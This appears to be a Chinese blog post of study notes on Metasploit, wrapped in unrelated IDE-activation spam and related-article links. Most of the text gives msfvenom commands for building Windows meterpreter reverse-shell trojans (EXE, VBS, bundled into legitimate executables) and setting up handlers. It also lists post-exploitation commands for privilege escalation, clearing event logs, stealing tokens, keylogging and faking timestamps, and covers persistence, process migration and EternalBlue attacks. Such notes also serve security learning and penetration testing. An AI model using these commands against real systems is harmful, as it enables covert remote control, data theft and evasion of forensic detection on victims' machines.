msfconsole学习

msfconsole学习工具:Quasar-winAhMyth-andriod

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

工具:

        Quasar-win:

        AhMyth-andriod:

msfconsole启动:

        msfconsole

        msfconsole -q :无启动状态显示

一、MSF生成木马并连接

        使用攻击模块:use exploit/multi/handler

        指令:show options – 查看需要填写的参数和参数填写状态      

Name Current Setting Required Description
LHOST yes The listen address (an interface may be specified)
 LPORT 4444 yes The listen port

        设置LHOST和LPORT: set LHOST 本地ip LPORT 本地启用端口

        查看payload:show payloads

        设置payload:set payload windows/meterpreter/reverse_tcp

木马生成:

        使用msfvenom

        msfvenom -p windows/meterpreter/reverse_tcp -f exe -a x86 -o ./meter_re_tcp_x86.exe LHOST=本地ip LPORT=本地端口

         msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -a x64 -o ./meter_re_tcp_x64.exe LHOST=本地ip LPORT=本地端口

运行监听:

        先进入使用模块

        run

        exploit


二、MSF木马VBS配置

windows-vbs:

        vbs:源码型脚本

        使用msfvenom

        msfvenom -p windows/meterpreter/reverse_tcp -f vbs -a x86 -o ./meter_re_tcp_x86.exe LHOST=本地ip LPORT=本地端口

msfconsole -r file        (文件中写相关命令,msfmu 会自动读取文件并执行)


三、MSF木马捆绑

        将木马捆绑到正常文件当中

        msfvenom -p windows/meterpreter/reverse_tcp -f exe -x ./test.exe -a x86 –platform windows -o ./kunbang.exe LHOST=连接ip LPORT=4444

        注意:找一个有效的可执行文件

木马混淆

        


Meterpreter

一、概述

        用于木马管理(操作电脑,功能完全)

二、操作

        1. 连接之后,屏幕实时显示:screenshare

        2.操作控制:ls查看文件

        3.上传下载:download 文件名   

#文件操作:

        linux文件命令操作方式

        文件路径:本机:getlwd        远程:getwd

        下载文件:download 文件名     

        上传文件:upload

        编辑:edit 文件名

        搜索文件:search 文件名

        查看挂载硬盘:show_mount

        hash查看:checksum

#系统操作

编号 描述 命令
1 提权 getsystem
2 清除事件日志 clearev
3 获取环境变量 getenv
4 获取pid getpid

Command       Description
    ——-       ———–
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine提权恢复
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS

#网络操作

 Command       Description
    ——-       ———–
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service端口转发
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table

端口转发:       

#其他操作

交互命令

        键盘、鼠标操作和记录;关闭键盘、鼠标事件

        修改时间戳

三、MSF链接多个木马

        set exitonsession false        #可以连接多个session,默认true

        run -j        #后台监听

        jobs        #查看监听

        jobs -p        关闭监听

        sessions -i id        #进行操作

        bg        #回退

        jobs -k        #关闭监听                                        

四、MSF木马持久化

        show advanced        #高级指令

        run persistence  -参数        #设置持久化

meterpreter> run  persistence -参数

        重新生成一个木马(vbs)放入启动项

五、MSF进程迁移

        execute:

        eg:execute -f notepad

        学习参数

        execute -f cmd -i进行交互 -H隐藏启动

        

        execute -f /home/kali/Desktop/cmd.exe -m -d notepad        #傀儡进程

六、MSF漏洞扫描

       查找漏洞-使用此攻击模块-进行设置-进行检测-进行攻击

        show target 设置攻击目标

        back回退到msf6>

        ?/help        #查看命令

        search 漏洞名称        #搜索漏洞

        check        #检测该主机是否由此漏洞

        eg:使用永恒之蓝进行攻击测试:代号:ms17_010_eternalblue

七、MSF漏洞扫描内网穿透   

        公网连接内网需要进行内网穿透

        端口转发            

八、MSF-Stager&Stage

        payload三种方式:

                single

                Stager Stage

        windows/(x64)/stage/stager

eg:windows/x64/meterpreter/reverse_tcp     meterpreter:stage  reverse_tcp:stager

攻击成功:先发送stage放入到对方电脑-只有连接作用

分类:

        返回stage使用stager的连接方式 

九、exploit小结    

        根据情况选择攻击模块并使用

        根据情况选择payload并使用

        查看选项:show options

        查看高级:show advanced

        设置参数:set

        检测能否攻击 

        运行进行攻击

        使用handler进行便捷监听


MSF-Linux攻击

msf6>use payload/linux/x64/meterpreter/reverse_tcp

进行设置

generate -f 文件格式 -o 输出路径        #生成木马

handler -H 连接ip -P 连接端口 -n 名字 -p payload 

        


MSF-Mac攻击

OSX

和linux一样


MSF-Andriod&IOS攻击


 MSF-生成跨平台木马

生成源码

        可以跨平台执行的编程语言源码或执行文件

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/196294.html原文链接:https://javaforall.net

(0)
上一篇 2025年9月29日 下午7:43
下一篇 2025年9月29日 下午8:15


相关推荐

  • pycharm安装 numpy 库时出现 error occurred when installing package “numpy“以及解决办法

    pycharm安装 numpy 库时出现 error occurred when installing package “numpy“以及解决办法今天网上复制了一个代码 其中有个 importnumpya 运行时提示需要安装 numpy 库 然后我按照网上的方法 按顺序点击 File gt Settings gt Project pythonProjec gt PythonInterp 然后找到 那里准备添加库 如下 然后就报 erroroccurre numpy 的错误 搞了半天都没搞定 遂找了一个经

    2026年3月16日
    2
  • Nanobot + 智谱 GLM-4.7 使用教程

    Nanobot + 智谱 GLM-4.7 使用教程

    2026年3月12日
    2
  • Win10 桌面美化

    Win10 桌面美化Win10桌面美化最近发现了几款Win10界面美化的软件,看了看别人家的Win10操作界面,瞬间觉得自己的low了,关键是赏心悦目啊!废话不多说,先看看我原来桌面和美化后的桌面对比图原始桌面美化桌面1.安装RocketDockRocketDock可以提供类似macos的操作系统图标特效,打开安装包进行安装,完毕后启动得到效果如下:可以发现切换效果与mac类似,他默认的主题是C…

    2022年4月25日
    38
  • 线程 、进程、协程 三者区别

    线程 、进程、协程 三者区别

    2021年11月10日
    41
  • Git创建远程分支并提交代码到远程分支[通俗易懂]

    Git创建远程分支并提交代码到远程分支[通俗易懂]1、可以通过gitbranch-r命令查看远端库的分支情况如图所示,远程仓库只有一个master分支2、从已有的分支创建新的分支(如从master分支),创建一个dev分支但此时并没有在远程仓库上创建分支如图所示还是只有一个master分支3、建立本地到远端仓库的链接–这样代码才能提交上去使用命令行gitpush–set-…

    2022年6月30日
    48
  • java游戏开发入门教程_JAVA制作游戏入门教程

    java游戏开发入门教程_JAVA制作游戏入门教程现在流行的游戏似乎都是用C或C++来开发的。在java平台上几乎没有很大型及可玩的流行游戏。由于java是个新生语言,他的许多特性还有待大家的发掘,但是我们不能否认Java在游戏编程方面的强大性。本文将带领大家一步一步学习编写Java游戏。最终打造属于自己的Java游戏。在开始之前我们得确认你已经安装了JavaJDK,并已经安装了浏览器软件如IE。本章是以Internet为开发对象,一步一步教大…

    2022年7月7日
    24

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号